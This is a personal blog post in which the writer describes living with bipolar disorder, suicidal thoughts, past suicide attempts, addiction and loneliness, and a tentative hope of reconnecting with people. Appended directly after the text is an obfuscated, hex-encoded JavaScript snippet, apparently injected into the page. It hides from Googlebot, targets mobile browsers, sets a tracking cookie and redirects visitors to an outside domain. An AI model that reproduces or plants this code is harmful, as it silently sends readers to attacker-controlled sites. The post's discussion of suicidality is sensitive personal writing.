A Ray of Sunshine

Hey all,

Well where do I start? It’s common knowledge that things have been a real struggle for me as of late. I’m staring bankruptcy in the face. I’m struggling to keep my head above water. And those horrible suicidal thoughts whisper into my mind with disturbing frequency.

In many ways, my home is a lot like a prison. I dread coming back here most of the time and for no real reason. It’s weird. I’m constantly surrounded by people, but I’m wracked by constant loneliness. It’s not even in a romantic sense, not really. Don’t get me wrong, I’d love to know what it feels like to be content, to feel love for someone special.
It’s just the fact that I don’t have anyone I can really relate to, which I guess is a good thing of sorts, cos knowing me I’d end up developing clingy sickening feelings and it’s a common rule that me and relationships just don’t work. Not in the way I want, which is for the long run. In many ways I’m still dealing with my own problems with myself.

Now when I say I have self worth problems, it’s not like I hate myself. Because I don’t. Sure I have moments where I wish I could change: lose weight, fix my nose/shoulder/knees/back, and god how I’d love to be able to get rid of those horrible dark circles that are around my eyes…

But besides all that, I know I’m a good person. I know I’m caring and smart and different, and it’s those things I love most about myself. It’s through growing up with this bipolar thing that I’ve really learned to get in touch with my deeper side, and that side of me I’m terrified to share with other people. Even thought its the one thing I crave more than anything else. More than companionship, more than success, more than passion and fire and sexuality. I’d really love to be able to be me, warts and all, with an actual person. Not a voice on the phone, or lines of text on my phone or computer screen. I’m talking a real person, someone who I can hug, whose hand I can hold. I’m talking real genuine comfort. The people I’m closest with, I’ve hardly seen or have never even met in person in real life. Sometimes I even maintain a deluded romantic view of my relationships with there people. No wonder I feel so lonely all the damn time.

But I’m going to change all that. It may take time, and like with everything else I have my doubts, but it’s what I need to do. Mark my words, Adam Cornish (me) is attempting to rejoin the human race.

I’m still going to stay behind a mask, its an imperative… I cant just flick a switch and let it all out but I’m letting a little more than I feel comfortable with. I can’t hide who I am, because I’m never going to be anything other than what I am. I’ve accepted that, even tho it sucks sometimes. I can’t hide away from life and fear of failure and rejection. I’ll die sooner than I’d like if I don’t change how I do things.

A great friend from school completely surprised me today, and I don’t think I could ever let her know how much it meant, to know someone cares. I’ve forgotten what that felt like to be honest. It brightened up my day, and I’m still finding it hard to believe. Which is really really sad the more I think about it. There are people who care about me. I’m not looking for a savior.

But it’s people like that are my connection to the human race. I can’t run away from that, nor can I pretend I’m not erratic emotionally. I am what I am, let’s not kid ourselves.

During my reflections, I’ve identified a cycle of unhealthy relationships. Its why I’ve avoided intimacy with all I am. It’s hard for me to feel that, for when it goes bad I fall apart and once again. I’ve forgotten love. I’ve forgotten lust almost too. And I’ve been away for too long, a self made prisoner in my panic room, secure and safe with my DVDs, Video Games and marijuana. But enough is enough and it’s time for a change. There isn’t plenty of fish in the sea, because I want something that’s almost unattainable. But I can’t settle for anything less. I’m not going to waste a moment on people who don’t deserve it anymore. I like a girl (who knew?) and its mostly a crush. Even though I know it won’t work it’s just nice to be reminded of the nice feelings and hope perhaps for a much deserved episode of manic joy. I’ve been down for so long and it’s been killing me.

It’d be nice to have something go my way for once. I’d love to remember what it feels like to be loved. To be needed. To be appreciated. It’d be nice to know that people believe in me, not because they have to or through an obligation. I have far too many people in my life that are happy to have my friendship and support only to disappear whenever I need them. I’m a great person, and a caring sensitive friend and I deserve better. A real friend doesn’t need to schedule time, or hide my existence from jealous insecure boyfriends, or knock on my window at 3am when they’re drunk and horny and had no luck with whom they really want.

I deserve to come first. I don’t think it’s too much to ask for.

I’ve been through too much to give up, even though suicidal tendencies tend to come natural to me. I’ve gone through an abusive childhood, broken hearts, suicide attempts, drug, sex and alcohol addictions, rejection and had my hopes and dreams torn apart. And I’m still ticking. I haven’t killed myself or anyone else. I’m not my father. I know my limits, and I maintain that necessary control for my own sake, and for those around me. It’s for the best, especially since my natural instincts are to delve into things in excess and hide from these horrible feelings I live with every single day of my life.

I have bottled up my feelings for far too long. My tears need to be set free. It’s the only way I can let go and perhaps even grow as a man. I’m not afraid of the emotions, more frustrated. I’d love to be able to feel things like “normal” people do. But the fact that I feel things so strongly is one of my biggest strengths. Of course it’s a massive weakness too. But it is what it is, and I cannot change that.

That’s the point of everything, that I cannot change. It’s about coming to terms with myself and finding my place in the world. Everything else will fall into place after that, I know it.

Wish me luck.

Till next time…

PS: I’m frightened this is all mania. Buy it doesn’t feel like it. Its a mellow form of understanding. I know its only a matter of time until things turn dark again. But if it’s a spark of brightness before the inevitable fall into the dark again then I’m going to enjoy the quiet while it lasts. It’s bound to happen, let’s be honest.

But I hope more than everything that this is just the beginning of something better.

And a big thank you to those who remind me I’m not alone. My words pale in comparison to how much I love you. And when things go dark, I’ll have to remember to reach out. And if I can’t or don’t. Kick my ass and dig me out. I appreciate you more than you can ever know.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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